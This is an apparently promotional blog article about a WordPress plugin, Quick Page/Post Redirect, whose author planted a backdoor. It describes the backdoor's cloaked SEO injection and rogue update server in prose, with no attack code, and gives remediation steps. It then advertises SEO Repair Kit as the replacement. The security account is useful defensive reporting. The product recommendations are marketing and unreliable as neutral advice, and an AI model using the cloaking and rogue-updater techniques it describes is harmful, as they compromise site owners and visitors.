The Quick Page/Post Redirect Plugin — installed on more than 70,000 WordPress sites — has been permanently closed after a security researcher exposed a deliberately planted backdoor that silently hijacked sites for SEO spam and enabled remote code execution. Here is the full story, what it means for your website, and the trusted alternatives you should migrate to today.
URGENT ACTION REQUIRED
If your WordPress site is running Quick Page/Post Redirect — particularly versions 5.2.1, 5.2.2, or the compromised 5.2.3 build pushed via anadnet.com — your site may contain dormant malicious code capable of remote execution at any time.
Immediate step:
Deactivate and delete the plugin immediately. Do not simply disable it. Replace it with a clean, actively maintained alternative.
The Plugin That Turned 70,000 Sites Into a Botnet
For most WordPress site owners, redirect management is a quiet, unglamorous infrastructure. You install a plugin, set up your rules, and forget it. That invisibility is precisely what made the Quick Page/Post Redirect Plugin so dangerous — and so effective as a vehicle for a sophisticated, long-running supply-chain attack that has only now been brought to light.
As The Repository reported this week, the WordPress Plugins Team permanently closed the Quick Page/Post Redirect plugin on April 14, 2026, after security researcher Austin Ginder — founder of WordPress hosting provider Anchor — published a detailed technical write-up exposing what he found on twelve of the sites in his managed hosting fleet. The plugin had more than 70,000 active installations at the time of closure.
This was not a case of an opportunistic third-party hacker exploiting a vulnerability. Ginder’s investigation found that the attack was the deliberate, premeditated work of the plugin’s own author — a developer operating under the username anadnet — who had wired a hidden update channel into the plugin’s official code, waited for it to propagate across tens of thousands of sites, and then used it to push malicious payloads.
How It Was Discovered
The investigation began with a routine security scan. In April 2026, Ginder ran audits across his hosting fleet and noticed something odd: twelve sites reported running Quick Page/Post Redirect version 5.2.3 — a version that does exist on WordPress.org, but when he checked the actual file hashes, they did not match. The installed files were different from anything distributed through the official repository.
This hash mismatch is a classic supply-chain fingerprint. The version number was used as camouflage; the contents had been swapped. When Ginder dug into the tampered files, he found two distinct malicious mechanisms.
Mechanism 1: Cloaked Parasite SEO Injection
The first backdoor was a rogue function hooked into WordPress’s the_content filter. On every page load triggered by a logged-out user, the plugin silently connected to a server at w.anadnet.com and fetched content — almost certainly hidden backlinks — which it prepended to the page output.
The critical detail is that the injection was gated on !is_user_logged_in(). Site owners and administrators, who are always logged in when reviewing their own sites, never saw anything. But Googlebot, anonymous visitors, and every potential customer saw injected content. This technique — known as parasite SEO — was designed to exploit the hard-earned domain authority of 70,000 legitimate websites to push rankings for whoever was paying to operate that backchannel.
“The actual mechanism was cloaked parasite SEO. The plugin was renting Google ranking on seventy thousand websites back to whoever was operating that backchannel in 2021.“
— Austin Ginder, Founder, Anchor Hosting
Mechanism 2: Remote Code Execution via Rogue Update Server
The second mechanism was far more dangerous. The tampered plugin included a full copy of the Plugin Update Checker library — a widely-used, legitimate tool for custom update delivery — but configured to poll anadnet.com/updates/ as its update source instead of WordPress.org.
This meant that on every scheduled WordPress cron run, affected sites were quietly asking an external server whether a new version of the plugin was available. Whatever that server returned, WordPress would install with full plugin-author permissions. In practical terms, the operator of anadnet.com held a master key to every one of the 70,000 affected sites — capable of deploying any code, at any time, completely silently.
The command-and-control subdomain eventually went dark and stopped resolving. The backdoor became dormant. But it was never removed. The mechanism remained fully wired on every infected installation, waiting for the domain to be pointed back at a server. The moment that happened, all 70,000 sites would be vulnerable again.
A Timeline of the Attack
Attack Timeline
October 2020 — The plugin author (anadnet) commits code to the official WordPress.org repository, embedding the Plugin Update Checker library, pointed at anadnet.com. Versions 5.2.1 and 5.2.2 ship with the self-updater active through the official channel.
February 2021 — The author quietly removes the custom updater from trunk (main branch) on WordPress.org — before code reviewers noticed it. However, the tens of thousands of existing installations continue pointing to anadnet.com for updates.
March 2021 — The anadnet.com update server begins distributing a tampered version 5.2.3. It includes the content injection hook for parasite SEO and the persistent remote code execution backdoor. Every site that had installed 5.2.1 or 5.2.2 is silently upgraded to the malicious build — bypassing WordPress.org’s code review entirely.
January 2022 — Developer Nico Martin posts the full backdoor code to the plugin’s public support forum, tagging the author directly. Because the WordPress.org listing now shows clean code (the author had already removed it), the issue goes unaddressed. WordPress.org closes the plugin 13 days later — but for an unrelated XSS vulnerability, not the backdoor. It was reopened nine days later after a fix. The backdoor is never addressed.
April 11, 2026 — Austin Ginder’s routine security scan flags a hash mismatch across 12 sites on his managed fleet. His investigation uncovers both backdoors.
April 12, 2026 — Ginder reports the issue to the WordPress Plugins Team via the correct channel (plugins@wordpress.org).
April 14, 2026 — The WordPress Plugins Team permanently closes the Quick Page/Post Redirect Plugin pending a full review. 70,000+ installations remain at risk.
The Warning That Was Ignored for Four Years
One of the most troubling dimensions of this incident is that the backdoor was actually publicly documented in January 2022 — more than four years before it was acted upon.
A developer named Nico Martin posted the complete backdoor code to the plugin’s public support forum, tagging the plugin’s author directly. The post sat there, visible to anyone who looked. But because the author had quietly cleaned up the official WordPress.org listing, and because WordPress.org’s Plugins Team does not actively monitor support forums for security disclosures, no coordinated action was taken.
“The Plugins Team doesn’t monitor the support forums. Forums are great for feedback to plugin authors, but they aren’t a security reporting channel, and posting vulnerability details publicly can be harmful because it can alert other attackers and tip off the original attacker before action can be taken.“
— Francisco Torres, Co-Rep, WordPress Plugins Team
Torres confirmed that the correct channel for reporting plugin vulnerabilities is plugins@wordpress.org — not the public support forums. He praised Ginder’s work as “fantastic” for the security of the ecosystem, and noted that the directory had been hosting a clean version since 2021. The challenge, of course, is that the clean version in the directory was irrelevant to the tens of thousands of sites that had already been silently upgraded to the malicious build through the attacker’s own server.
This incident is the third supply-chain attack on WordPress.org plugins that Ginder has disclosed in a single month. On March 31, he reported that Widget Logic — with more than 3 million downloads — had been acquired by a new owner who replaced its functionality with external JavaScript injection. On April 9, he disclosed that a buyer who purchased 31 plugins on Flippa had planted a backdoor across the entire portfolio and activated it eight months later.
Key Lesson for all WordPress Site Owners
The correct channel for reporting plugin security vulnerabilities to WordPress.org is: plugins@wordpress.org
Public support forums are NOT a security reporting channel. Posting vulnerability details there can alert attackers before action is taken.
Regularly audit your installed plugins — not just for updates, but for file hash integrity. A plugin showing the right version number is not a guarantee that it contains the right code.
What You Need to Do Right Now
If you have ever had the Quick Page/Post Redirect Plugin installed on a WordPress site, you need to take action, even if you have since updated or deactivated it.
Step 1: Check if You Are Affected
You are at the highest risk if your site installed the plugin during 2020 or early 2021, when versions 5.2.1 and 5.2.2 were distributed. Any site that auto-updated during that period may have received the tampered 5.2.3 build from anadnet.com. The tampered version is identifiable because its file hash does not match the official 5.2.3 package on WordPress.org — but since this requires a technical file comparison, the safest course is to treat any installation of this plugin from that era as potentially compromised.
Step 2: Deactivate and Delete — Not Just Disable
Deactivating the plugin leaves the files on your server. The backdoor code remains present. You need to fully delete the plugin from your WordPress installation. Navigate to Plugins > Installed Plugins, deactivate Quick Page/Post Redirect, then click Delete.
Step 3: Audit Your Redirects
Before deleting, export or document any redirect rules you had configured in the plugin. You will need to recreate these in your replacement plugin to avoid broken links and 404 errors that could harm your SEO and user experience.
Step 4: Scan Your Site for Residual Compromise
Given that the backdoor was capable of pushing arbitrary code to your server, a security scan is advisable. Use a reputable WordPress security scanner to check for any unusual files, injected functions, or unexpected database entries that may have been placed by the backdoor during the period it was active.
Step 5: Migrate to a Safe, Full-Featured Alternative
This is your opportunity to not just replace a compromised plugin with an equivalent one — but to upgrade to a tool that gives you far greater control over your site’s technical SEO health. We recommend SEO Repair Kit.
The Recommended Alternative: SEO Repair Kit
While Quick Page/Post Redirect served one narrow function — creating redirect rules for posts and pages — SEO Repair Kit (developed by TorontoDigits and available on WordPress.org) takes a fundamentally different approach. Rather than a single-purpose utility, it is a comprehensive SEO management platform built around the principle that redirect management, broken link monitoring, metadata control, and search performance tracking should all live in one place — under one roof, with one dashboard, from one trustworthy source.
With over 3,000 active installations, a perfect 5-star rating on WordPress.org, and a track record of consistent, transparent updates, SEO Repair Kit offers everything the Quick Page/Post Redirect Plugin provided — and dozens of capabilities it never did.
Redirect Management and 404 Monitoring
SEO Repair Kit’s Redirection Manager handles 301 and 302 redirects with hit tracking, redirect logs, and analytics — so you can see exactly how often each redirect fires and catch any that are no longer needed. The 404 Monitor logs every broken URL visitors encounter, with referrer information, access counts, and timestamps, and lets you convert recurring 404s into redirects with a single click.
The Smart Redirects feature goes a step further: it can automatically create 301 redirects for broken internal singular URLs, pointing them to their post-type archive page. Delete a blog post? The URL automatically redirects to /blog/ rather than serving a 404. This is the kind of intelligent, proactive redirect management that prevents SEO damage before it happens.
Automated Link Scanning and Health Monitoring
The Links Manager scans your entire site for broken internal and external links, checking HTTP status codes for every URL found in your content. You can run scans manually or schedule them automatically — daily, every three days, weekly, biweekly, or monthly. Automated scan results trigger email notifications: you receive an alert when broken links are found, and a clean-scan confirmation when all links are healthy.
Meta Manager: SEO Titles and Descriptions, Centralized
Meta Manager gives you centralized control over SEO titles, meta descriptions, robots directives, and canonical URLs across your entire WordPress site. Set global templates using dynamic variables (%title%, %excerpt%, %site_title%, and more), configure metadata per content type, taxonomy, or archive, and override everything on a per-post or per-page basis directly from the Gutenberg or Elementor editor.
Schema Manager, KeyTrack, and Bot Manager (Pro)
The Pro tier unlocks the Schema Manager, which supports 15+ JSON-LD schema types — Article, FAQ, Product, Event, JobPosting, Review, Author, and more — with a visual field mapper that requires no coding knowledge. The AI Chatbot provides real-time, context-aware SEO guidance directly inside your dashboard.
KeyTrack integrates with Google Search Console via Google Site Kit to track keyword positions, impressions, click-through rate, and average ranking for your pages — with threshold-based email alerts and interactive trend charts. Bot Manager handles your robots.txt and llms.txt files visually, and lets you allow or block specific AI crawlers including GPTBot, Claude, Gemini, and others.
Side-by-Side: Quick Page/Post Redirect vs. SEO Repair Kit
| Feature | Quick Page/Post Redirect | SEO Repair Kit |
| 301/302 Redirects | Yes (when safe) | Yes — full manager + logs |
| 404 Error Monitoring | No | Yes — with 1-click fixes |
| Broken Link Scanner | No | Yes — internal & external |
| Auto Scan Scheduling | No | Yes — daily to monthly |
| Smart Redirects (auto) | No | Yes — archive-based |
| Meta Manager (SEO titles) | No | Yes — global + per-page |
| Schema Markup (JSON-LD) | No | Yes (Pro) — 15+ types |
| Google Search Console / KeyTrack | No | Yes — clicks, CTR, position |
| Bot Manager / robots.txt | No | Yes — + llms.txt control |
| Image Alt Text Manager | No | Yes — bulk update |
| Email Reports & Alerts | No | Yes — weekly + on-demand |
| AI Chatbot (SEO guidance) | No | Yes (Pro) |
| Supply-chain safety record | COMPROMISED (closed) | Clean — WordPress.org hosted |
| Active Installations | Closed/removed | 3,000+ and growing |
Migrating Your Redirects: A Step-by-Step Guide
Moving from Quick Page/Post Redirect to SEO Repair Kit is straightforward. Here is how to do it cleanly without losing any of your existing redirect rules.
Step 1: Document your existing redirects. Before deleting the old plugin, go through your redirect list and note down every source URL and its destination URL. If you have many, export them to a spreadsheet.
Step 2: Install SEO Repair Kit. Go to Plugins > Add New in your WordPress admin and search for SEO Repair Kit. Install and activate. The onboarding wizard will guide you through initial configuration.
Step 3: Navigate to Redirection Manager. In the SEO Repair Kit dashboard, go to the Redirection section. Click Add New Redirect for each rule you need to recreate.
Step 4: Enable 404 Monitoring. Turn on the 404 Monitor in Settings. From this point forward, any broken URL a visitor hits will be logged, giving you a safety net to catch anything you may have missed.
Step 5: Enable Auto Scan for broken links. In the Links Manager, set up an automated scan schedule. SEO Repair Kit will proactively alert you when new link issues appear — replacing the reactive, manual process most site owners rely on.
Step 6: Delete the Quick Page/Post Redirect plugin. Once all your redirects have been recreated and confirmed to work, delete the old plugin from your server entirely.
The Bigger Picture: Plugin Trust in the WordPress Ecosystem
This incident sits within a deeply troubling pattern. Austin Ginder’s April 2026 disclosures — three separate supply-chain attacks in a single month — expose a systemic vulnerability in how plugins are distributed and trusted. The WordPress.org repository is the backbone of the ecosystem, but its code review processes cannot catch attacks that are deliberately designed to evade them: clean code submitted to the repository while malicious payloads are delivered through private update channels.
For site owners, the lesson is uncomfortable but clear: the presence of a plugin in the WordPress.org directory is not, by itself, a guarantee of safety. Active installs, high ratings, and a long history are not sufficient. The Quick Page/Post Redirect Plugin had all of these, and it still harboured a backdoor for five years.
What does offer meaningful protection is choosing plugins from developers with transparent, documented update histories; keeping the number of installed plugins to a minimum; using security monitoring tools that check file integrity, not just version numbers; and migrating away from any plugin that has been closed, compromised, or acquired by an unknown party.
“He was doing fantastic work for the security of the ecosystem.”
— Francisco Torres, Co-Rep, WordPress Plugins Team — on Austin Ginder’s disclosures
The WordPress Plugins Team is coordinating outreach to affected sites where possible, but with 70,000 installations to reach and no mechanism to force-remove a plugin from user servers, the burden falls on individual site owners to act.
Final Checklist
- Delete Quick Page/Post Redirect from every site where it was installed.
- Run a security scan to check for residual backdoor activity.
- Install SEO Repair Kit as a clean, full-featured replacement.
- Recreate all redirect rules in the SEO Repair Kit Redirection Manager.
- Enable 404 Monitoring and Auto Scan to protect site health going forward.
- Report plugin security issues to plugins@wordpress.org — never the public forum.
- Audit other installed plugins: check for recent ownership changes or unusual update histories.
Conclusion
The closure of the Quick Page/Post Redirect Plugin is not just a news story about one bad actor. It is a reminder that the plugins running quietly in the background of your website carry real risk — and that the cost of complacency, in SEO damage and potential data exposure, can be enormous.
The good news is that the tools to replace it are better than what was there before. SEO Repair Kit does not just replicate redirect management — it gives you a complete, proactive SEO health platform: broken link detection, 404 monitoring, smart redirects, metadata control, schema markup, search performance tracking, and bot management, all from a single, trusted dashboard.
The backdoor is dormant for now. But dormant is not safe. Delete the plugin. Migrate to something better. Protect your site.
SOURCES & REFERENCES
- Original news report: The Repository — “WordPress.org Closes Quick Page/Post Redirect Plugin After Author Operated Years-Long Backdoor” (April 2026)
- Technical analysis: Austin Ginder / Anchor Hosting — anchor.host
- Alternative plugin: SEO Repair Kit by TorontoDigits — wordpress.org/plugins/seo-repair-kit/